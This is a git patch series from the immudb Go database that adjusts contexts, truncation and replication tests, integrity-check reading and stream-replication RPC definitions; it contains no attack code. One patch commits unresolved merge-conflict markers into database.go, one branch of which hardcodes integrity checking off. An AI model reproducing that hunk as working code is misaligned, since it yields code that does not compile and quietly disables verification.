_, err = client.Set(context.Background(), keyVal.Key, keyVal.Value) if err != nil && err.Error() != "session not found" { log.Fatalln("Failed to insert. Reason:", err) } - err = client.CloseSession(context.TODO()) + err = client.CloseSession(context.Background()) if err != nil && err.Error() != "session not found" { log.Fatalln("Failed to close session. Reason:", err) } @@ -146,7 +146,7 @@ func reader(okJobs chan *schema.KeyValue, done chan bool, rwg *sync.WaitGroup) { opts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) client = immudb.NewClient().WithOptions(opts) - err = client.OpenSession(context.TODO(), []byte(config.Username), []byte(config.Password), config.DBName) + err = client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } @@ -155,7 +155,7 @@ outer: for { select { case keyVal = <-okJobs: - _, err = client.VerifiedGet(context.TODO(), keyVal.Key) + _, err = client.VerifiedGet(context.Background(), keyVal.Key) if err != nil { log.Fatalln("Failed to get. Reason:", err) } @@ -163,7 +163,7 @@ outer: break outer } } - err = client.CloseSession(context.TODO()) + err = client.CloseSession(context.Background()) if err != nil && err.Error() != "session not found" { log.Fatalln("Failed to close session. Reason:", err) } @@ -189,7 +189,7 @@ func compactor(done chan bool) { opts := immudb.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) client := immudb.NewClient().WithOptions(opts) - err := client.OpenSession(context.TODO(), []byte(config.Username), []byte(config.Password), config.DBName) + err := client.OpenSession(context.Background(), []byte(config.Username), []byte(config.Password), config.DBName) if err != nil { log.Fatalln("Failed to connect. Reason:", err) } @@ -200,7 +200,7 @@ outer: select { case <-ticker.C: log.Printf("Compaction started") - err = client.CompactIndex(context.TODO(), &emptypb.Empty{}) + err = client.CompactIndex(context.Background(), &emptypb.Empty{}) if err != nil { log.Fatalln("Failed to compact. Reason:", err) } @@ -209,6 +209,6 @@ outer: break outer } } - client.CloseSession(context.TODO()) + client.CloseSession(context.Background()) return } From 92709328561bb6bc9978fa3c6b85326266f4f1bf Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 17:24:33 -0300 Subject: [PATCH 0207/1062] test(embedded/sql): increase filesize when copying catalog Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 50246115df..ce2d670511 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5917,7 +5917,7 @@ func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *s func TestCopyCatalogToTx(t *testing.T) { opts := store.DefaultOptions() - opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(6) + opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(256) engine, st := setupCommonTestWithOptions(t, opts) From 4f34268acf56c65d447721a4e347c32a3d459099 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 1 Feb 2023 10:33:40 -0300 Subject: [PATCH 0208/1062] test(pkg/database): increase filesize in truncation test cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 6 ++- embedded/store/immustore_test.go | 44 ++++++++++++------- pkg/database/truncator_test.go | 72 ++++++++++++++++---------------- 3 files changed, 70 insertions(+), 52 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index ce2d670511..3af4e622f4 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5916,8 +5916,10 @@ func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *s } func TestCopyCatalogToTx(t *testing.T) { + fileSize := 1024 + opts := store.DefaultOptions() - opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(256) + opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(fileSize) engine, st := setupCommonTestWithOptions(t, opts) @@ -6012,7 +6014,7 @@ func TestCopyCatalogToTx(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 5e8acc7531..c2b7aa2eac 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -4293,8 +4293,10 @@ func TestImmudbStoreWithoutVLogCache(t *testing.T) { } func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { + fileSize := 1024 + opts := DefaultOptions(). - WithFileSize(6). + WithFileSize(fileSize). WithMaxConcurrency(100). WithMaxIOConcurrency(5) @@ -4309,7 +4311,7 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) @@ -4349,8 +4351,10 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { } func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { + fileSize := 1024 + opts := DefaultOptions(). - WithFileSize(6). + WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) @@ -4364,7 +4368,7 @@ func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) @@ -4406,8 +4410,10 @@ func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { } func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { + fileSize := 1024 + opts := DefaultOptions(). - WithFileSize(6). + WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) @@ -4420,7 +4426,7 @@ func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) @@ -4466,8 +4472,10 @@ func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { } func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { + fileSize := 1024 + opts := DefaultOptions(). - WithFileSize(6). + WithFileSize(fileSize). WithMaxConcurrency(100). WithMaxIOConcurrency(3) @@ -4490,7 +4498,7 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", k)) - value := []byte(fmt.Sprintf("val_%d", k)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) @@ -4523,8 +4531,10 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { } func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { + fileSize := 1024 + opts := DefaultOptions(). - WithFileSize(6). + WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) @@ -4541,7 +4551,7 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) @@ -4594,8 +4604,10 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { } func TestExportTxWithTruncation(t *testing.T) { + fileSize := 1024 + opts := DefaultOptions(). - WithFileSize(6). + WithFileSize(fileSize). WithMaxIOConcurrency(1) // Create a master store @@ -4619,7 +4631,7 @@ func TestExportTxWithTruncation(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) @@ -4767,8 +4779,10 @@ func TestImmudbStoreTxMetadata(t *testing.T) { } func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { + fileSize := 1024 + opts := DefaultOptions(). - WithFileSize(6). + WithFileSize(fileSize). WithMaxIOConcurrency(1) st, err := Open(t.TempDir(), opts) @@ -4782,7 +4796,7 @@ func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) @@ -4803,7 +4817,7 @@ func TestImmudbStoreTruncateUptoTx_WithDataPostTruncationPoint(t *testing.T) { require.NoError(t, err) key := []byte(fmt.Sprintf("key_%d", i)) - value := []byte(fmt.Sprintf("val_%d", i)) + value := make([]byte, fileSize) err = tx.Set(key, nil, value) require.NoError(t, err) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index b07dd59b27..58bb5afbd2 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -72,18 +72,20 @@ func Test_vlogCompactor_Compact(t *testing.T) { func Test_vlogCompactor_WithMultipleIO(t *testing.T) { rootPath := t.TempDir() + fileSize := 1024 + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 5 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) - for i := 2; i <= 20; i++ { + for i := 0; i < 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), + Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) @@ -98,7 +100,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { require.NoError(t, c.Truncate(context.Background(), hdr.ID)) - for i := deletePointTx; i <= 20; i++ { + for i := deletePointTx; i < 20; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) @@ -115,18 +117,20 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { func Test_vlogCompactor_WithSingleIO(t *testing.T) { rootPath := t.TempDir() + fileSize := 1024 + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) - for i := 2; i <= 10; i++ { + for i := 0; i < 10; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), + Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) @@ -141,7 +145,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { require.NoError(t, c.Truncate(context.Background(), hdr.ID)) - for i := deletePointTx; i <= 10; i++ { + for i := deletePointTx; i < 10; i++ { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) @@ -157,7 +161,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) - require.Error(t, err) + require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) @@ -170,8 +174,10 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { rootPath := t.TempDir() + fileSize := 1024 + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 @@ -189,7 +195,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { for k := 1*(j-1)*10 + 1; k < (j*10)+1; k++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", k)), - Value: []byte(fmt.Sprintf("val_%d", k)), + Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) @@ -212,7 +218,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) - require.Error(t, err) + require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) @@ -224,7 +230,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { tx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) err = db.st.ReadTx(i, false, tx) - require.Error(t, err) + require.NoError(t, err) for _, e := range tx.Entries() { _, err := db.st.ReadValue(e) @@ -261,8 +267,10 @@ func Test_newTruncatorMetrics(t *testing.T) { func Test_vlogCompactor_Plan(t *testing.T) { rootPath := t.TempDir() + fileSize := 1024 + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(600) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 @@ -272,7 +280,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { for i := 2; i <= 20; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), + Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) @@ -287,21 +295,11 @@ func Test_vlogCompactor_Plan(t *testing.T) { require.LessOrEqual(t, time.Unix(hdr.Ts, 0), queryTime) } -var sqlPrefix = []byte{2} - -func closeStore(t *testing.T, st *store.ImmuStore) { - err := st.Close() - if !t.Failed() { - // Do not pollute error output if test has already failed - require.NoError(t, err) - } -} - func setupCommonTest(t *testing.T) *db { rootPath := t.TempDir() options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(1024) options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db1", options) @@ -335,7 +333,7 @@ func Test_vlogCompactor_with_sql(t *testing.T) { var err error kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), + Value: make([]byte, 1024), } deleteUptoTx, err = db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) @@ -386,7 +384,7 @@ func Test_vlogCompactor_with_sql(t *testing.T) { for i := 6; i <= 10; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), + Value: make([]byte, 1024), } hdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) @@ -419,8 +417,10 @@ func Test_vlogCompactor_with_sql(t *testing.T) { func Test_vlogCompactor_without_data(t *testing.T) { rootPath := t.TempDir() + fileSize := 1024 + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 @@ -610,8 +610,10 @@ func Test_vlogTruncator_isRetentionPeriodReached(t *testing.T) { func Test_vlogCompactor_for_read_conflict(t *testing.T) { rootPath := t.TempDir() + fileSize := 1024 + options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithFileSize(60) + options.storeOpts.WithFileSize(fileSize) options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) @@ -620,21 +622,21 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { for i := 1; i <= 10; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), + Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) } once := sync.Once{} - doneTruncateCh := make(chan bool, 0) - startWritesCh := make(chan bool, 0) - doneWritesCh := make(chan bool, 0) + doneTruncateCh := make(chan bool) + startWritesCh := make(chan bool) + doneWritesCh := make(chan bool) go func() { for i := 11; i <= 40; i++ { kv := &schema.KeyValue{ Key: []byte(fmt.Sprintf("key_%d", i)), - Value: []byte(fmt.Sprintf("val_%d", i)), + Value: make([]byte, fileSize), } _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) once.Do(func() { From 1736190acedf46889d52627d938c816cb0b156c5 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 1 Feb 2023 10:52:42 -0300 Subject: [PATCH 0209/1062] test(pkg/integration): further increase replication timeouts Signed-off-by: Jeronimo Irazabal --- .../replication/synchronous_replication_test.go | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/pkg/integration/replication/synchronous_replication_test.go b/pkg/integration/replication/synchronous_replication_test.go index e660bd4490..e5bd7f0f30 100644 --- a/pkg/integration/replication/synchronous_replication_test.go +++ b/pkg/integration/replication/synchronous_replication_test.go @@ -221,7 +221,7 @@ func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { suite.Run("should commit successfully without two replicas", func() { suite.StopReplica(1) - ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) + ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key2"), []byte("value2")) @@ -231,7 +231,7 @@ func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { suite.Run("should not commit without three replicas", func() { suite.StopReplica(2) - ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) + ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key3"), []byte("value3")) @@ -242,7 +242,7 @@ func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { suite.Run("should commit again once first replica is back online", func() { suite.StartReplica(0) - ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) + ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key4"), []byte("value4")) @@ -256,7 +256,7 @@ func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { suite.AddReplica(true) suite.AddReplica(true) - ctxTimeout, cancel := context.WithTimeout(ctx, time.Second) + ctxTimeout, cancel := context.WithTimeout(ctx, 2*time.Second) defer cancel() _, err := client.Set(ctxTimeout, []byte("key5"), []byte("value5")) @@ -273,7 +273,7 @@ func (suite *SyncTestMinimumReplicasSuite) TestMinimumReplicas() { ctx, client, cleanup := suite.ClientForReplica(i) defer cleanup() - suite.WaitForCommittedTx(ctx, client, primaryState.TxId, time.Second) + suite.WaitForCommittedTx(ctx, client, primaryState.TxId, 2*time.Second) for i := 1; i <= 5; i++ { val, err := client.Get(ctx, []byte(fmt.Sprintf("key%d", i))) From 5e731f99f7dd207b6308e86c4c8e79a062a9b39c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 1 Feb 2023 11:02:28 -0300 Subject: [PATCH 0210/1062] chore(embedded/store): consume all tx content even if integrity checks are disabled Signed-off-by: Jeronimo Irazabal --- embedded/store/tx.go | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/embedded/store/tx.go b/embedded/store/tx.go index 64f010f24b..a194dcf968 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -602,16 +602,18 @@ func (t *txDataReader) readEntry(entry *TxEntry) error { } func (t *txDataReader) buildAndValidateHtree(htree *htree.HTree) error { - if t.skipIntegrityCheck { - return nil - } - + // it's better to consume alh from appendable even if it's not validated + // as seuqential tx reading can be done var alh [sha256.Size]byte _, err := t.r.Read(alh[:]) if err != nil { return err } + if t.skipIntegrityCheck { + return nil + } + err = htree.BuildWith(t.digests) if err != nil { return err From 330d8aa2ee7b3dd4ee546da42863012092f7b119 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 28 Jan 2023 14:44:50 -0300 Subject: [PATCH 0211/1062] chore(embedded/store): optional integrity checking when reading values Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 6f7e3db868..546e03298b 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2102,7 +2102,7 @@ func (s *ImmuStore) ExportTx(txID uint64, allowPrecommitted bool, skipIntegrityC } // if the error is eof, the value has been truncated, so we do not write the value bytes - if err == io.EOF { + if errors.Is(err, io.EOF) { isValueTruncated = true // vHashLen binary.BigEndian.PutUint32(blen[:], uint32(len(e.hVal))) From 2f488ae48a199470c627e16855ca05ac9b51a5f1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 30 Jan 2023 21:48:19 -0300 Subject: [PATCH 0212/1062] chore(embedded/store): validate Eh only when integrity checks are not disabled Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/pkg/database/database.go b/pkg/database/database.go index aee7a10eb5..a331d9ce61 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1319,7 +1319,11 @@ func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCh return nil, ErrNotReplica } +<<<<<<< HEAD hdr, err := d.st.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing) +======= + hdr, err := d.st.ReplicateTx(ctx, exportedTx, true, false) +>>>>>>> 51dfa473 (chore(embedded/store): validate Eh only when integrity checks are not disabled) if err != nil { return nil, err } From 232a4638e46697df4f06c45b37dbdc8f90410ca2 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sat, 28 Jan 2023 16:07:39 -0300 Subject: [PATCH 0213/1062] chore(pkg/replication): wip stream replication - only async replication working Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 1 + pkg/api/schema/schema.pb.go | 295 ++++++++++--------- pkg/api/schema/schema.proto | 2 + pkg/api/schema/schema_grpc.pb.go | 68 +++++ pkg/client/client.go | 4 + pkg/client/stream_replication.go | 9 + pkg/integration/follower_replication_test.go | 198 ++++++++++++- pkg/replication/replicator.go | 25 +- pkg/server/servertest/server_mock.go | 4 + pkg/server/stream_replication.go | 18 ++ 10 files changed, 473 insertions(+), 151 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index 3ec54b9005..f0a90f699a 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -2475,6 +2475,7 @@ immudb gRPC & REST service | streamExecAll | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) | | | exportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) | [Chunk](#immudb.schema.Chunk) stream | Replication | | replicateTx | [Chunk](#immudb.schema.Chunk) stream | [TxHeader](#immudb.schema.TxHeader) | | +| streamExportTx | [ExportTxRequest](#immudb.schema.ExportTxRequest) stream | [Chunk](#immudb.schema.Chunk) stream | | | SQLExec | [SQLExecRequest](#immudb.schema.SQLExecRequest) | [SQLExecResult](#immudb.schema.SQLExecResult) | | | SQLQuery | [SQLQueryRequest](#immudb.schema.SQLQueryRequest) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | | ListTables | [.google.protobuf.Empty](#google.protobuf.Empty) | [SQLQueryResult](#immudb.schema.SQLQueryResult) | | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 27526f7a19..9d444d7d23 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -9790,7 +9790,7 @@ var file_schema_proto_rawDesc = []byte{ 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, - 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xe8, 0x33, 0x0a, 0x0b, + 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, @@ -10165,72 +10165,77 @@ var file_schema_proto_rawDesc = []byte{ 0x63, 0x61, 0x74, 0x65, 0x54, 0x78, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x5e, 0x0a, 0x07, 0x53, 0x51, 0x4c, - 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, - 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x71, 0x6c, 0x65, 0x78, 0x65, 0x63, 0x3a, 0x01, 0x2a, 0x12, 0x62, 0x0a, 0x08, 0x53, 0x51, 0x4c, - 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, - 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, 0x72, 0x79, 0x3a, 0x01, 